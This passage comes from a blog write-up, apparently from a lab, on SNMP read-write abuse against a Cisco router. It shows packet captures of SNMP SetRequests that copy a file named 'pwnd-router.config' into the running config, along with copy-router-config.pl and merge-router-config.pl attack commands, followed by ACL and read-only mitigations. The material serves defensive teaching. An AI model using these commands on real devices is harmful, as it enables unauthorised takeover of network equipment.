.1.3.6.1.4.1.9.9.96.1.1.1.1.5.822852=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.822852="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.4.822852=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.822852=4 23:40:21.097347 IP 10.11.11.4.54365 > 172.20.27.254.161: C="zxcvbn" SetRequest(173) .1.3.6.1.4.1.9.9.96.1.1.1.1.2.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.822852=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.822852=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.822852="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.4.822852=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.822852=4 ^C 6 packets captured 6 packets received by filter 0 packets dropped by kernel
To configure the community string ACL, please issue the commands listed below.
awa# conf t
awa#conf t Enter configuration commands, one per line. End with CNTL/Z. awa(config)#access-list 1 permit host 10.11.11.1 awa(config)#snmp-server community zxcvbn RW 1 awa(config)#end awa#wr Building configuration... [OK]
As you can see below, both copy-router-config and merge-router-config displayed an error with the ACL applied.
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn; merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn; merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn 10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... No response from remote host "172.20.27.254" at /usr/bin/copy-router-config.pl line 34. 10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... No response from remote host "172.20.27.254" at /usr/bin/merge-router-config.pl line 32.
Prevention
To prevent any chance for this type of attack, change the read-write access mode to read-only mode. There are limited use cases that require read-write access mode. That said, only enable it when it is necessary. Otherwise, stick with the read-only access mode.
awa# conf t
awa#conf t Enter configuration commands, one per line. End with CNTL/Z. awa(config)#access-list 1 permit host 10.11.11.1 awa(config)#snmp-server community zxcvbn ro 1 awa(config)#end awa#wr Building configuration... [OK]
Final thoughts
As already mentioned, network engineers already know how to prevent this type of attack. What stood out to me was that the IT Director pointed this configuration out. I am not aware of the individual’s background, but I was delighted to hear him say that. Though, part of me was dissatisfied because I wanted to see if the red team could exploit the vulnerability.
If a business has a legitimate use case to enable read-write access mode, use SNMPv3. It offers better security than SNMPv2c, but it is still vulnerable to brute force attacks. That said, make sure to use a secure password and ACL.
You might like to read
BUY ME COFFEE ☕